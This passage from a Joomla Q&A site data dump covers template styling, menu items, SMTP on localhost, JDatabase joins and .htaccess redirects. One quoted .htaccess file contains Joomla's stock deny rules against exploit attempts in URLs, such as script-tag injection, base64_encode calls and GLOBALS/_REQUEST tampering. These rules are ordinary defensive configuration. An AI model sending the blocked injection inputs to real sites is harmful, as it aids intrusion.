(&lt;code&gt;&amp;amp;nbsp;&lt;/code&gt;) but it didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('&amp;amp;nbsp;&amp;amp;nbsp;sitedescription')) : ?&amp;gt;&#xA;&amp;lt;?php echo '&amp;lt;div class=&quot;site-description&quot;&amp;gt;' . htmlspecialchars($this-&amp;gt;params-&amp;gt;get('&amp;amp;nbsp;&amp;amp;nbsp;sitedescription')) . '&amp;lt;/div&amp;gt;'; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;Actually I just figured it out...&lt;br&gt;&#xA;Put the style with the amount of px you need your description to go to the left. See where I added &lt;code&gt;style=&quot;margin-left: 10px;&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;brand pull-left&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl; ?&amp;gt;/&quot;&amp;gt;&#xA;  &amp;lt;?php echo $logo; ?&amp;gt;&#xA;  &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('sitedescription')) : ?&amp;gt;&#xA;  &amp;lt;?php echo '&amp;lt;div class=&quot;site-description&quot; style=&quot;margin-left: 10px;&quot;&amp;gt;' . htmlspecialchars($this-&amp;gt;params-&amp;gt;get('sitedescription')) . '&amp;lt;/div&amp;gt;'; ?&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5425" LastEditorUserId="1629" LastEditDate="2015-06-16T06:54:19.353" LastActivityDate="2016-04-17T13:45:49.060" Title="How to center the logo Description in Protostar Joomla 3.4" Tags="|templates|css|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10423" PostTypeId="1" CreationDate="2015-06-15T02:52:16.180" Score="1" ViewCount="234" Body="&lt;p&gt;How can I add Media Manager in Menu Item Type list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OVeQm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2015-06-15T05:32:09.293" Title="Adding Media Manager in Menu Item List" Tags="|component|media-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10424" PostTypeId="2" ParentId="10423" CreationDate="2015-06-15T04:31:50.333" Score="0" Body="&lt;p&gt;&lt;strong&gt;Creation of Media manager:&lt;/strong&gt;&lt;br&gt;&#xA;Goto backend -&gt; Content -&gt; Media manager -&gt; Create new folder and upload the need files.&lt;br&gt;&#xA;&lt;strong&gt;Creation of article:&lt;/strong&gt; &lt;br&gt;&#xA;Goto Article manager -&gt; Give title name -&gt; click the image button and upload the media manager files -&gt; click save.&lt;br&gt;&#xA;&lt;strong&gt;Creation of Menu item type:&lt;/strong&gt;&lt;br&gt;&#xA;Goto Menu -&gt; Main menu -&gt; New -&gt; Menu title -&gt; Select the menu item type of media manager article.&lt;br&gt;&#xA;Then you can see the output in frontend.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-15T04:31:50.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10425" PostTypeId="2" ParentId="10423" CreationDate="2015-06-15T05:32:09.293" Score="1" Body="&lt;p&gt;I managed to find a work around to my problem, first I copied the administration files in site folder and create a default.xml file to my desire view on my case &lt;strong&gt;medialist&lt;/strong&gt; view is what I need to show in Menu Item Type and create a &lt;strong&gt;STRING DEFINITION&lt;/strong&gt; in administration language file but this still will not show in MENU ITEM TYPE LIST you need to update your media.xml and under the &lt;strong&gt;administration tag&lt;/strong&gt; add a tag for menu something like tihs &lt;strong&gt;Media Manager&lt;/strong&gt; and update the version of your media component save and zip it. done!&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2015-06-15T05:32:09.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10427" PostTypeId="2" ParentId="10422" CreationDate="2015-06-15T07:52:24.117" Score="4" Body="&lt;p&gt;The correct way to do it would be to add the following css to /templates/protostar/css/template.css (or, if you will recompile the LESS then /templates/protostar/less/template.less): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.site-description {text-align: center;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-06-15T07:52:24.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10428" PostTypeId="2" ParentId="10402" CreationDate="2015-06-15T07:55:29.480" Score="1" Body="&lt;p&gt;I'd put money on the fact that your site is on a heavily-oversubscribed shared host that is throttling connections to the MySQL server. Solution, get a better web host.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-06-15T07:55:29.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10429" PostTypeId="1" CreationDate="2015-06-15T08:29:03.300" Score="0" ViewCount="1421" Body="&lt;p&gt;is it possible to send a reset password mail from front end .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a joomla web site running on local host . I want user able to reset their password from front end. I try all things like install a hmail server and test mail server. Still not luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time say notice SMTP connect fail . All the seeting in the global configuration changes acc. to R &amp;amp; D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still m=not sending mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any one can help me give me code or configuration or plug in to reset password from front end .&lt;/p&gt;&#xA;" OwnerUserId="5427" LastActivityDate="2015-08-18T12:45:17.473" Title="Notice SMTP connect failed" Tags="|joomla-3.x|emails|localhost|smtp|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10430" PostTypeId="2" ParentId="10429" CreationDate="2015-06-15T09:07:33.900" Score="1" Body="&lt;p&gt;Local hosts do not support emails unless you manually install and configure the required tools, which is quite a fussy task. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, to test your emails, I'd suggest moving your site to a live server instead.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-15T09:07:33.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10431" PostTypeId="1" CreationDate="2015-06-15T09:28:38.897" Score="2" ViewCount="198" Body="&lt;p&gt;In Joomla 3.4.1 I'm using smart search and K2 for content.&#xA;The content is indexed and it works ok - for a few days.&#xA;Then I type a word in the search box and nothing is found. I go back to admin and find out that no content is indexed anymore and must index it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make sure the content is indexed without my interevention all the time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2015-07-21T11:30:16.093" Title="Indexing content for Joomla smart search must be repeated every few days" Tags="|smartsearch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10433" PostTypeId="1" AcceptedAnswerId="10446" CreationDate="2015-06-15T11:03:37.423" Score="3" ViewCount="1277" Body="&lt;p&gt;What is the JDatabase syntax for a JOIN statement that joins two tables on a variable that is either equal to x or is null? Eg it joins on multiple values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found some examples that show me you can do this in &lt;a href=&quot;https://stackoverflow.com/questions/10888097/sql-query-for-join-table-and-multiple-values&quot;&gt;normal SQL&lt;/a&gt; but I don't know how that translates into JDatabase syntax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My query currently works when the variable (a.animal) equals b.id, but I need it to also join when the variable (a.animal) is empty.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query1 = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select ($db-&amp;gt;quoteName(array('a.date','a.reminder','a.type','a.animal','a.mob')))&#xA;    -&amp;gt;select ($db-&amp;gt;quoteName('b.nameandid') .'AS'. $db-&amp;gt;quote('animalname'))    &#xA;    -&amp;gt;from ($db-&amp;gt;quoteName('app_reminders', 'a'))    &#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_animal', 'b') . 'ON (' .$db-&amp;gt;quoteName('a.animal'). 'LIKE' .$db-&amp;gt;quoteName('b.id').')')&#xA;    -&amp;gt;where ($db-&amp;gt;quoteName('a.date') . '&amp;gt;=' . 'NOW()', 'AND')    &#xA;    -&amp;gt;where ($db-&amp;gt;quoteName('a.user_id') . 'LIKE' . $db-&amp;gt;quote($userid));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4097" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2018-05-27T12:09:49.983" Title="JDatabase JOIN on multiple values" Tags="|jdatabase|sql|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10435" PostTypeId="1" CreationDate="2015-06-15T12:50:34.950" Score="0" ViewCount="667" Body="&lt;p&gt;I have Joomla 3.3.6 up and running. The backend database I am using currently is MySQL.Now I want to change my database to Postgresql but I don't know where to start. I have Postgresql 9.3.5 installed. I do understand that Postgresql support with Joomla currently has many bugs. However , can anyone guide me ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="5429" LastActivityDate="2021-06-28T20:28:42.457" Title="Joomla 3.3.6 with Postgresql" Tags="|joomla-3.x|postgresql|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10439" PostTypeId="1" AcceptedAnswerId="10456" CreationDate="2015-06-15T15:40:15.760" Score="3" ViewCount="375" Body="&lt;p&gt;I am using a J3.x Plugin called Aixeena CCK &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/aixeena-cck&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/aixeena-cck&lt;/a&gt; which adds extra fields to articles using standard JForm field types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up a repeatable form field type &lt;a href=&quot;https://docs.joomla.org/Repeatable_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Repeatable_form_field_type&lt;/a&gt; which simply has text boxes as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;addresses&quot; type=&quot;Repeatable&quot; icon=&quot;list&quot; description=&quot;&quot; label=&quot;Addresses&quot; default=&quot;&quot;&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;addresses_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;address&quot; label=&quot;Address&quot; size=&quot;60&quot; type=&quot;text&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my article override I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$attribs = json_decode($this-&amp;gt;item-&amp;gt;attribs);&#xA;print_r($attribs-&amp;gt;addresses);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&quot;address&quot;:[&quot;My Address 1&quot;,&quot;My Address 2&quot;]}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Great!&quot; I thought, I'll just use a foreach loop to get the individual values. So I used the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;foreach($attribs-&amp;gt;addresses as $address){&#xA;    echo $address;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, that didn't work. I just got an error saying: &quot;Warning: Invalid argument supplied for foreach()&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is; how do I get each individual value stored in this string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITED&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Results of &lt;code&gt;var_dump($attribs-&amp;gt;addresses);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(135) &quot;{&quot;address&quot;:[&quot;My Address 1&quot;,&quot;My Address 2&quot;]}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDITED AGAIN&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to @Lodder I am now using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attribs = json_decode($this-&amp;gt;item-&amp;gt;attribs);&#xA;$addresses = $attribs-&amp;gt;addresses;&#xA;$addresses = json_decode($addresses, true);&#xA;foreach ($addresses as $index=&amp;gt;$address) &#xA;    {   &#xA;        echo $address[0] . '&amp;lt;br&amp;gt;';&#xA;        echo $address[1];&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns:&#xA;    My Address 1&#xA;    My Address 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is great but my question now is; how do I automatically perform the foreach loop? What I mean is; at the moment I have to add &lt;code&gt;echo $address[1]&lt;/code&gt; then &lt;code&gt;echo $address[2]&lt;/code&gt; etc. But the point of a repeatable field is that the user can add as many fields as they want. I hope I am making sense :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOLVED:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attribs = json_decode($this-&amp;gt;item-&amp;gt;attribs);&#xA;$addresses = $attribs-&amp;gt;addresses;&#xA;$addresses = json_decode($addresses);&#xA;foreach ($addresses as $index=&amp;gt;$addresses) &#xA;    {   &#xA;        foreach($addresses as $address){&#xA;            echo '&amp;lt;p&amp;gt;'.$address.'&amp;lt;/p&amp;gt;';&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="387" LastEditorUserId="387" LastEditDate="2015-06-15T20:25:29.073" LastActivityDate="2015-06-16T07:42:40.833" Title="Display values of JFormFieldRepeatable" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10441" PostTypeId="1" AcceptedAnswerId="10445" CreationDate="2015-06-15T15:49:14.673" Score="1" ViewCount="5004" Body="&lt;p&gt;I'm quite possibly doing something very silly here however after hours of looking I though I'd ask here as no doubt somebody will spot it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Local dev environment Win7/XAMPP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a number of local websites in my htdocs folder (eg. &lt;em&gt;MyTestSite&lt;/em&gt;, &lt;em&gt;MyDevSite&lt;/em&gt;) that I access by visiting &lt;code&gt;localhost/MyTestSite&lt;/code&gt; or &lt;code&gt;localhost/MyDevSite&lt;/code&gt; - these work fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So today I restored a (Joomla 3.3.0) site from a &lt;strong&gt;live&lt;/strong&gt; environment to my &lt;strong&gt;local&lt;/strong&gt; pc (&lt;code&gt;htdocs/lhsslocal&lt;/code&gt;) using Akeeba. I visited &lt;code&gt;localhost/lhsslocal&lt;/code&gt; expecting to see my new website, but instead the address bar immediately changed to &lt;code&gt;http://www.localhost/xampp/&lt;/code&gt; which took me to my &lt;code&gt;Welcome to XAMPP for Windows!&lt;/code&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I type &lt;code&gt;www.localhost/lhsslocal&lt;/code&gt; I can see my homepage, but none of the other links work, they take me straight back to &lt;code&gt;www.localhost/xampp/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed this had someting to do with my &lt;code&gt;.htaccess&lt;/code&gt; file (which is below) however I can't see anything that may be causing this, although I'm no htaccess expert!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;.htaccess&lt;/code&gt; file is located in the root folder of my Joomla site &lt;code&gt;htdocs/lhsslocal/.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package      Joomla&#xA;# @copyright    Copyright (C) 2005 - 2013 Open Source Matters. All rights reserved.&#xA;# @license      GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the request is for something within the component folder,&#xA;# or for the site root, or for an extensionless URL, or the&#xA;# requested URL ends with one of the listed extensions&#xA;RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of my other websites in the htdocs folder work fine, it's only this &lt;strong&gt;lhsslocal&lt;/strong&gt; site. I have changed my &lt;code&gt;.htaccess&lt;/code&gt; file numerous times and restarted Apache each time. I don't have any other local vhosts setup, I never have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="126" LastEditDate="2015-06-15T19:43:02.153" LastActivityDate="2015-06-16T15:03:46.330" Title=".htaccess and localhost re-direct issue" Tags="|joomla-3.x|.htaccess-configuration|sef|redirect|xampp|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10442" PostTypeId="1" AcceptedAnswerId="10462" CreationDate="2015-06-15T16:12:08.960" Score="1" ViewCount="1063" Body="&lt;p&gt;I would like to display a system message from a custom HTML module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have sourcerer installed which is allowing me to add php code into the module and this seems to be running fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it does not seem to execute the code to generate a system message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone suggest a way I could get the custom HTML module to generate a system message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code currently looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;  $msg = 'Very helpful message';&#xA;  JFactory::getApplication()-&amp;gt;enqueueMessage($msg, 'message');&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4097" LastActivityDate="2015-06-16T15:11:43.100" Title="How can I display a system message from a custom HTML module" Tags="|php|custom-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10443" PostTypeId="2" ParentId="10442" CreationDate="2015-06-15T16:21:44.587" Score="1" Body="&lt;p&gt;I have copied and pasted your code as it was on my site to test and it works perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your template could be the reason why you're not seeing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/YOUR_TEMPLATE/index.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and check for the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do not see it, add it where you would like the messages to be displayed. Note the above code should &lt;strong&gt;not&lt;/strong&gt; be wrapped in PHP tags&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-15T16:21:44.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10444" PostTypeId="1" CreationDate="2015-06-15T18:42:48.110" Score="3" ViewCount="2133" Body="&lt;p&gt;I have given my Articles Titles but I mask them, and instead have a more friendly title as part of the page body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a fully working and properly structured &quot;menu bar&quot; that looks as it should at the top of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On every Article page, in the same font as a normal page title, above the title and separated by a &quot;horizontal rule&quot; is the Menu item title. If I try to set the &quot;Show Title&quot; setting for the Menu Item to &quot;hide&quot; then the menu item doesn't appear in the Menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The markup shows that the text appears in the following markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1 class=&quot;componentheading&quot;&amp;gt;Products&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need the Menu title to not appear in this way on any page of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.4 with the &quot;JoomlArt Purity II&quot; template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5432" LastEditorUserId="126" LastEditDate="2015-06-15T20:50:30.073" LastActivityDate="2018-04-24T04:14:00.053" Title="Joomla &quot;Menu&quot; item Title appears above page content: I'd like it to go away" Tags="|templates|menu|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10445" PostTypeId="2" ParentId="10441" CreationDate="2015-06-15T19:51:06.670" Score="2" Body="&lt;p&gt;The rewrite base path should have the path of the folder where the Joomla site is installed. That is because in your current scenario, Joomla does not reside in the root folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if Joomla is located in a folder &quot;lhsslocal&quot;, then the rewritebase should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /lhsslocal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore, here are some general suggestions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable URL rewriting in Joomla configuration to make sure that there is no issue with rewriting your urls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When working in localhost, I usually disable (by renaming or similar method) the actual htaccess of the site I downloaded. If I need to have one, I only use the rules of the htaccess.txt shipped with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And generally remember that when such issues arise, there can be some rare cases that another SEF extension may cause it. It's worth to check and try to disable any such plugins, just to eliminate possible causes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And another kinda &quot;tricky&quot; tip:&lt;/strong&gt;&#xA;Make sure, the htaccess file you are editing is in the right folder. I have been a victim of this, having created a few instances of the same site locally, and I was editing in the wrong folder, while I was viewing another of the local site instances.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-16T15:03:46.330" LastActivityDate="2015-06-16T15:03:46.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10446" PostTypeId="2" ParentId="10433" CreationDate="2015-06-15T20:02:07.343" Score="4" Body="&lt;p&gt;In your &lt;code&gt;ON&lt;/code&gt; statement you should be able to add multiple conditions combined by &lt;code&gt;AND&lt;/code&gt; and &lt;code&gt;OR&lt;/code&gt;. So something like this should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('app_animal', 'b') . 'ON (' .$db-&amp;gt;quoteName('a.animal'). 'LIKE' .$db-&amp;gt;quoteName('b.id').' OR ' . $db-&amp;gt;quoteName('a.animal') . ' IS NULL)')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-06-15T20:02:07.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10447" PostTypeId="2" ParentId="10444" CreationDate="2015-06-15T20:50:16.817" Score="1" Body="&lt;p&gt;It looks complicated, but in fact it's not:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to have a header/title on each Article page tagged with &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; in HTML code (it is important for SEO purposes also) you should use 'Show Page Heading' setting. Global setting for that you can find in 'System/Global Configuration/Menus Manager/Page Display'. From here you can set it for all pages/the whole site. If you want to personalize some pages you can change that setting in the respective menu item using 'Menu Manager'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want Article titles tagged with &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt; in HTML you should open 'System/Global Configuration/Articles (Article Manager Options)' and check 'Show Title'. Individual menu items could be personalized in the same way - through Menu Manager.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both titles are independent of each other. &lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2015-06-15T20:50:16.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10448" PostTypeId="1" CreationDate="2015-06-15T23:16:53.133" Score="-2" ViewCount="390" Body="&lt;p&gt;I have been trying to make my Joomla website look good on mobile as it does on a computer but I am running into a few issues. The first is that when you access my website on a mobile or tablet device it comes up very enlarged and zoomed in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.questdesign.com.au&quot; rel=&quot;nofollow&quot;&gt;http://www.questdesign.com.au&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make it start zoomed out so you get to see all the content and users can zoom in if they prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second issue is the white space that you can see at the bottom of the page. I have looked all through the coding and can't see what I have done wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My css is below;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://questdesign.com.au/templates/protostar/css/template.css&quot; rel=&quot;nofollow&quot;&gt;http://questdesign.com.au/templates/protostar/css/template.css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice or help.&lt;/p&gt;&#xA;" OwnerUserId="5434" LastEditorUserId="296" LastEditDate="2015-06-16T07:24:14.910" LastActivityDate="2015-06-16T07:33:29.597" Title="Joomla Mobile Website Issues (Zooming &amp; Whitespace)" Tags="|joomla-3.x|css|jhtml|mobile-web-design|" AnswerCount="1" CommentCount="2" ClosedDate="2015-06-18T02:50:12.103" ContentLicense="CC BY-SA 3.0" />
